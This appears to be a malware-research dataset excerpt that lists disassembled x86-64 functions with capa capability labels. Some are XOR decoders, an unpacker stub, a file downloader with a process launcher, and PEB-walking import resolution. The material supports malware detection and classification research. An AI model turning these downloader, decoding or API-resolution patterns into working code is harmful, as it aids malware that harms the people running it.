joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000202c
Capabilities:
Encode data using xor

Disassembly:
clc
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x5c], r9d
mov dword [rsp + 0x58], r8d
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x4c], ecx
mov qword [rsp + 0x40], r14
mov byte [rsp + 0x3f], r11b
mov dword [rsp + 0x38], esi
mov word [rsp + 0x36], bp
je 0x1400022ff
mov ecx, 0x71d05652
mov edx, ecx
mov r8, qword [rsp + 0xa8]
mov ecx, dword [rsp + 0x58]
mov r9d, ecx
mov r10d, r9d
sub rdx, r8
mov qword [rsp + 0x98], r10
mov qword [rsp + 0x80], rdx
mov dword [rsp + 0x6c], eax
mov eax, 0xd406300c
mov ecx, 0x79b5e622
mov edx, dword [rsp + 0x6c]
mov dword [rsp + 0x78], edx
mov edx, dword [rsp + 0xb4]
xor edx, 0x79b5e650
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0xa0], r8
mov r9d, dword [rsp + 0xb4]
mov r10d, dword [rsp + 0x38]
sub r10d, r10d
mov dword [rsp + 0xbc], r10d
xor r9d, 0x79b5e658
mov byte [rsp + 0xb9], 0x16
mov r10d, dword [rsp + 0xb4]
mov r11d, dword [rsp + 0xb4]
mov r8, qword [rsp + 0xa0]
mov si, word [rsp + 0x36]
or si, 0xbee0
sub ecx, r10d
mov word [rsp + 0xba], si
xor r11d, 0x79b5e653
mov rdi, qword [rsp + 0x40]
or rdi, 0x5a8c0770
sub eax, dword [rsp + 0xb4]
mov r10d, r8d
mov qword [rsp + 0xc0], rdi
add r10d, ecx
cmp r10d, r9d
cmovb r11d, edx
mov bl, 0xfd
mov bpl, byte [rsp + 0x3f]
mov dword [rsp + 0x30], eax
mov al, bpl
mul bl
mov byte [rsp + 0xb9], al
mov si, word [rsp + 0xce]
mov r14w, word [rsp + 0xce]
mov r8, qword [rsp + 0xa8]
add r8, 0xffffffffda7e5ac8
mov byte [rsp + 0xb9], bpl
xor si, 0x46f6
xor r14w, 0x5acd
mov dword [rsp + 0x8c], r11d
mov ecx, dword [rsp + 0x38]
or ecx, ecx
mov rdi, qword [rsp + 0xa0]
mov dword [rsp + 0xbc], ecx
mov r15, qword [rsp + 0x50]
mov al, byte [r15 + rdi]
mov byte [rsp + 0x73], al
mov word [rsp + 0x8a], r14w
mov rdi, qword [rsp + 0x40]
sub rdi, 0x13253dac
mov qword [rsp + 0xc0], rdi
mov r14w, word [rsp + 0x8a]
mov r12w, word [rsp + 0x36]
and r12w, r12w
mov word [rsp + 0xba], r12w
mov qword [rsp + 0x80], r8
mov ecx, dword [rsp + 0x30]
mov dword [rsp + 0x6c], ecx
cmp si, r14w
jae 0x14000208e
mov al, byte [rsp + 0x73]
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffff8e2fa9af
mov edx, dword [rsp + 0x8c]
mov r8d, dword [rsp + 0x78]
movzx r9d, al
imul r8d, r9d
add edx, r9d
mov al, byte [rsp + 0x3f]
and al, 0x62
mov r9d, dword [rsp + 0x78]
add edx, r8d
imul edx, r9d
mov byte [rsp + 0xb9], al
mov r10, qword [rsp + 0x98]
add rcx, qword [rsp + 0xa0]
mov r11, qword [rsp + 0x40]
and r11, r11
mov qword [rsp + 0xc0], r11
mov al, 0x67
mov bl, byte [rsp + 0x3f]
mov byte [rsp + 0x2f], al
mov al, bl
mov sil, byte [rsp + 0x2f]
mul sil
mov byte [rsp + 0xb9], al
mov dword [rsp + 0x94], edx
mov qword [rsp + 0x80], rcx
mov dword [rsp + 0x6c], edx
cmp rcx, r10
je 0x1400022ff
jmp 0x14000208e
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0xb4]
add byte [rcx + 0x4a19aec1], al
xchg byte [rcx + 0x902484], cl
add byte [rax], al
Function at 0x140005290
Capabilities:
Encode data using xor

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x78
mov eax, 0x5ef4f2f0
mov r9d, eax
mov r10w, 0x26b9
mov word [rsp + 0x66], 0xdc8c
mov dword [rsp + 0x5c], 0x17366b4e
mov r11, qword [rsp + 0x68]
mov rsi, r11
and rsi, 0x1b0d9652
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x50], 0x5ef4f2f0
mov di, word [rsp + 0x66]
sub r10w, di
imul rsi, r11, 0x37705901
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x46], r10w
mov rsi, qword [rsp + 0x50]
mov eax, dword [rsp + 0x74]
sub r9, rsi
mov qword [rsp + 0x38], r9
mov bl, byte [rsp + 0x65]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x24], r8d
mov qword [rsp + 0x18], rcx
mov dword [rsp + 0x14], eax
mov word [rsp + 0x12], di
mov qword [rsp + 8], r11
mov byte [rsp + 7], bl
jmp 0x140005352
lea rax, [0x140087920]
mov rcx, qword [rsp + 0x48]
mov edx, dword [rax + rcx*4]
mov dword [rsp + 0x34], edx
mov qword [rsp + 0x68], 0x79471197
mov edx, dword [rsp + 0x24]
cmp dword [rsp + 0x34], edx
jb 0x14000548e
jmp 0x14000542b
mov ax, word [rsp + 0x66]
mov cx, word [rsp + 0x12]
xor cx, 0xffff
mov rdx, qword [rsp + 0x38]
mov word [rsp + 0x62], cx
add ax, 0xcc4d
mov qword [rsp + 0x48], rdx
mov cx, word [rsp + 0x46]
mov dword [rsp + 0x74], 0xcced5f7d
cmp cx, ax
jb 0x140005323
jmp 0x14000548e
mov eax, 0x17366b6e
lea rcx, [0x140087a41]
mov word [rsp + 0x62], 0xc8dc
mov edx, dword [rsp + 0x5c]
mov r8w, word [rsp + 0x12]
mov word [rsp + 0x62], r8w
mov r9, qword [rsp + 8]
sub r9, 0x715d5d9
add edx, 0xe8c994d1
mov qword [rsp + 0x68], r9
mov r10d, dword [rsp + 0x30]
mov r11b, byte [rsp + 7]
xor r11b, 0xff
mov byte [rsp + 0x65], r11b
mov esi, r10d
and esi, edx
mov edx, esi
mov r9d, edx
mov byte [rsp + 0x65], 0x63
mov r11b, byte [rcx + r9]
mov edx, r10d
mov ecx, edx
mov r9, qword [rsp + 0x28]
mov bl, byte [r9 + rcx]
sub bl, r11b
sub eax, dword [rsp + 0x5c]
mov byte [rsp + 0x65], 0x90
mov rdi, qword [rsp + 0x18]
mov byte [rdi + rcx], bl
add r10d, eax
mov dword [rsp + 0x30], r10d
mov eax, dword [rsp + 0x24]
cmp r10d, eax
jb 0x14000538a
jmp 0x14000542b
add rsp, 0x78
pop rbx
pop rsi
pop rdi
ret
mov al, byte [rsp + 7]
xor al, 0xff
mov rcx, qword [rsp + 0x50]
xor rcx, 0x5ef4f2d0
mov byte [rsp + 0x65], al
mov rdx, qword [rsp + 0x48]
mov r8w, word [rsp + 0x12]
xor r8w, r8w
mov r9, qword [rsp + 0x50]
add r9, 0xffffffffa10b0d11
mov word [rsp + 0x62], r8w
add rdx, r9
mov r9, qword [rsp + 8]
and r9, 0x359ef7aa
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x68], 0xfffffffffa95b8df
mov qword [rsp + 0x38], rdx
cmp rdx, rcx
je 0x140005423
jmp 0x140005352
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x30], eax
jmp 0x14000538a

Function at 0x1407006dc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1407006e6
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14070070f
pop rbp
sub rbp, 0x33
sub rbp, 0x7006dc
sub rsp, 0x20
jmp 0x14070072e
mov rax, 0x7006dc
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0xffffffffdfe1e6c3
xor byte [rax], dl
inc rax
dec rcx
jne 0x14070074d
jmp 0x140700764
mov ecx, dword [rdx + 0x2a]
inc rbx
ret
Function at 0x59a380
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x59a38d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x59a39d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x59a385
lea eax, [rcx + 1]
jmp 0x59a3ab
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x59a3be
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x59a3a4
sub eax, 3
jb 0x59a3de
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x59a42d
sar eax, 1
movsxd rbp, eax
jb 0x59a414
jmp 0x59a3ec
add ebx, ebx
jne 0x59a3ea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x59a414
inc ecx
add ebx, ebx
jne 0x59a3fa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x59a414
call r11
adc ecx, ecx
add ebx, ebx
jne 0x59a40d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x59a3fc
add ecx, 2
jmp 0x59a419
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.0059a342
jmp 0x59a38d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x134600
mov dl, 0x19
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x59a479
cmp rsi, rcx
jae 0x59a481
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x59a460
cmp al, 0x8f
ja 0x59a460
cmp byte [rsi - 2], 0xf
je 0x59a466
sub al, 0xe8
cmp al, 1
ja 0x59a44a
cmp rsi, rcx
jae 0x59a481
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x59a450
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x59a481
lodsb al, byte [rsi]
jmp 0x59a460
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x190000]
mov eax, dword [rdi]
or eax, eax
je 0x59a4de
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x19a9b8]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x59a48e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x59a4d8
mov qword [rbx], rax
add rbx, 8
jmp 0x59a4ae
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x59a518
cmp al, 0xef
ja 0x59a50a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x59a4ea
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x59a4f9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x59a56c
sub rsp, 0xffffffffffffff80
jmp 0x52f580
Function at 0x638413c0
Capabilities:
Create http request
Download and write a file
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x440], rcx
mov qword [rbp + 0x448], rdx
mov qword [rbp + 0x450], r8
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, [0x638e6001]
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x418]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, qword [rbp + 0x440]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x410], rax
mov dword [rbp + 0x3dc], 1
lea rax, [rbp + 0x407]
mov rcx, rax
call fcn.638a0650
mov rax, qword [rbp + 0x450]
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rcx, rax
lea rdx, [rbp + 0x407]
lea rax, [rbp + 0x3e0]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call fcn.638d05b0
mov rdx, qword [rbp + 0x448]
lea rax, [rbp + 0x3e0]
mov rcx, rax
call fcn.638cf130
mov rcx, rax
call fcn.6386a4c0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x408], rax
lea rax, [rbp + 0x3e0]
mov rcx, rax
call fcn.638d0b00
lea rax, [rbp + 0x407]
mov rcx, rax
call fcn.638a0680
cmp qword [rbp + 0x408], 0xffffffffffffffff
je 0x638415f1
mov eax, dword [rbp + 0x3dc]
test eax, eax
je 0x63841585
lea rcx, [rbp + 0x3dc]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x410]
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov ecx, dword [rbp + 0x3dc]
lea r8, [rbp - 0x34]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x408]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
jmp 0x63841522
mov rax, qword [rbp + 0x410]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x408]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x638415f2
nop
add rsp, 0x4a8
pop rbx
pop rbp
ret
Function at 0x638415fc
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rdx
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x10], 0x68
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp + 0x2c], 1
mov word [rbp + 0x30], 0
lea rax, [rbp + 0x8f]
mov rcx, rax
call fcn.638a0650
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rcx, rax
lea rdx, [rbp + 0x8f]
lea rax, [rbp + 0x60]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call fcn.638d05b0
lea rax, [rbp + 0x60]
mov rdx, qword [rbp + 0xb0]
mov rcx, rax
call fcn.638cf130
mov rcx, rax
call fcn.6386a4c0
mov rcx, rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, [0x638e6005]
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.638d0b00
lea rax, [rbp + 0x8f]
mov rcx, rax
call fcn.638a0680
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x63841771
add rsp, 0x118
pop rbx
pop rbp
ret

Function at 0x6384ca00
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x638e3028], eax
je 0x6384ca1a
add rsp, 0x28
ret
call sub.msvcrt.dll_abort
nop

Function at 0x6384cf20
Capabilities:
Print debug messages

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
test rcx, rcx
mov rbx, rcx
je 0x6384cf43
call fcn.6384c8c0
cmp eax, 1
je 0x6384cf4e
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x90
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
xor eax, eax
mov ecx, 0xa
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x48]
mov ecx, 0x43
rep stosb byte [rdi], al
lea rbx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rbx + 0x27]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x6384cfc5
mov eax, 0x28
jmp 0x6384cfaa
add rax, 1
cmp rax, 0x6b
je 0x6384cfb7
cmp byte [rbx + rax], 0
mov edx, eax
jne 0x6384cfa0
cmp eax, 0x6a
jne 0x6384cfca
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov edx, 0x27
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0xa
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rax + 0x20], 0
jmp 0x6384cfb7
Function at 0x6384d070
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
cmp dword [0x6390e0a0], 1
je 0x6384d086
call fcn.6384cfe0
mov ecx, dword [0x638e3028]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x6384d0b0
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.6384ce60
cmp qword [0x63913040], 0
mov rsi, rax
je 0x6384d09a
test rax, rax
je 0x6384d09a
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
mov dword [rsi + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea rcx, [rsi + 0x68]
mov qword [rsi + 0x38], 0xffffffffffffffff
mov qword [rsi + 0x30], rax
call fcn.6384cf20
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsi + 0xb8], 0
mov qword [rsi + 0x28], 0
call rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rbx
mov dword [rsp + 0x30], 2
mov r8, rbp
mov rdx, rdi
mov dword [rsp + 0x28], 0
lea r9, [rsi + 0x28]
mov rcx, rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x6384d1a0
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rdx, rsi
mov ecx, dword [0x638e3028]
mov dword [rsi + 0xbc], 0
mov dword [rsi + 0xc0], eax
movzx eax, byte [rsi + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rsi + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x6384d1a0
mov rbx, rsi
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sub.msvcrt.dll_abort
nop
nop word cs:[rax + rax]
Function at 0x6384fed0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6390e684]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x63850058
mov rax, qword [0x6390e688]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6384ff1c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6384ffa5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6384ff00
mov rcx, rbx
call fcn.63850b70
test rax, rax
mov r12, rax
je 0x6385008d
mov rax, qword [0x6390e688]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.63850ca0
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6390e688]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x63850070
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6384ff9e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x63850000
add dword [0x6390e684], 1
cmp edi, 8
jae 0x6384ffd3
test dil, 4
jne 0x63850044
test edi, edi
je 0x6384ffc8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6385005f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6384ffc8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6384ffec
jmp 0x6384ffc8
add rsi, qword [0x6390e688]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6384ff9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.638e2410
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6384ffc8
xor esi, esi
jmp 0x6384ff27
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6384ffc8
mov rax, qword [0x6390e688]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.638e2410
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.638e2410
nop
nop dword [rax]

Function at 0x638507e0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6390e960]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6390e940]
test rbx, rbx
je 0x63850834
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6385082b
test rsi, rsi
je 0x6385082b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x63850810
lea rcx, [0x6390e960]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x63850b70
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x638eb470]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x63850bdd
mov rcx, r8
call fcn.63850a50
test eax, eax
je 0x63850bdd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x63850bdd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x63850bd4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x63850bdf
add rax, 0x28
cmp rax, r9
jne 0x63850bc0
xor eax, eax
add rsp, 0x28
ret

Function at 0x63856fe0
Capabilities:
Query environment variable

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12d, 1
sub r8d, 1
mov edi, ecx
mov ecx, 0x66666667
mov eax, r8d
mov rbp, rdx
movsxd rsi, r8d
imul ecx
sar r8d, 0x1f
mov rbx, r9
mov ecx, edx
sar ecx, 2
sub ecx, r8d
je 0x63857035
mov r8d, 0x66666667
nop dword [rax]
mov eax, ecx
sar ecx, 0x1f
add r12d, 1
imul r8d
sar edx, 2
sub edx, ecx
mov ecx, edx
jne 0x63857020
mov edx, dword [rbx + 0x2c]
cmp edx, 0xffffffff
je 0x638570b0
mov ecx, dword [rbx + 0xc]
cmp r12d, edx
mov r9, rbx
mov r8d, 1
cmovl r12d, edx
lea edx, [r12 + 2]
mov eax, ecx
sub eax, edx
cmp ecx, edx
mov edx, 0xffffffff
cmovle eax, edx
mov ecx, edi
mov rdx, rbp
add r12d, 1
mov dword [rbx + 0xc], eax
call fcn.63856890
mov ecx, dword [rbx + 8]
mov rdx, rbx
mov eax, dword [rbx + 0x2c]
mov dword [rbx + 0x10], eax
mov eax, ecx
and ecx, 0x20
or eax, 0x1c0
or ecx, 0x45
mov dword [rbx + 8], eax
call fcn.63856460
mov rdx, rbx
mov rcx, rsi
add dword [rbx + 0xc], r12d
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.63856d00
mov eax, dword [0x638e30b0]
cmp eax, 0xffffffff
je 0x638570e6
test eax, eax
je 0x638570d6
mov edx, 2
mov dword [rbx + 0x2c], edx
jmp 0x6385703d
mov dword [0x638e30b0], 0
call fcn.6385be80
mov edx, 3
test al, 1
jne 0x638570bf
jmp 0x638570c4
lea rcx, str.PRINTF_EXPONENT_DIGITS
call sub.msvcrt.dll_getenv
test rax, rax
je 0x638570cc
movsx eax, byte [rax]
sub eax, 0x30
cmp eax, 2
ja 0x638570cc
mov dword [0x638e30b0], 1
jmp 0x638570bf
Function at 0x638adc90
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rbp, rcx
mov rdi, rdx
mov esi, r8d
jmp 0x638adcb8
call r12
cmp dword [rax], 4
jne 0x638adcd6
mov rcx, rbp
call fcn.638adba0
mov r8d, esi
mov rdx, rdi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd rbx, eax
cmp rbx, 0xffffffffffffffff
je 0x638adcb0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x638e2410
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.6385bda0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.6385bda0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
push rbp
mov rbp, rsp
pop rbp
jmp fcn.63841390
Function at 0x140090a60
Capabilities:
Access peb ldr_data

Disassembly:
push rcx
push r11
push r13
sub rcx, rcx
add rcx, 0x60
mov r11, qword gs:[rcx]
push r10
mov rcx, r11
add rcx, 0x10
mov r10, qword [rcx]
add r11, 0x18
mov r13, qword [r11]
mov rcx, r13
add rcx, 0x10
mov r11, qword [rcx]
push r12
mov r13, r11
add r13, 0x30
mov rcx, qword [r13]
cmp rcx, 0
je 0x140090ad3
mov r13, qword [r11 + 0x60]
mov r12, qword [r13]
and r12d, 0xdf00df
mov r13, qword [r13 + 0xc]
shl r13d, 8
add r13d, r12d
shl r13d, 2
sub r13d, 0xc914cd2c
cmp r13, 0
je 0x140090adb
mov r13, qword [r11]
mov r11, r13
jmp 0x140090a8f
mov r11d, dword [rcx + 0x3c]
add r11, rcx
add r11, 0x10
mov r13d, dword [r11 + 0x78]
add r13, rcx
push rbx
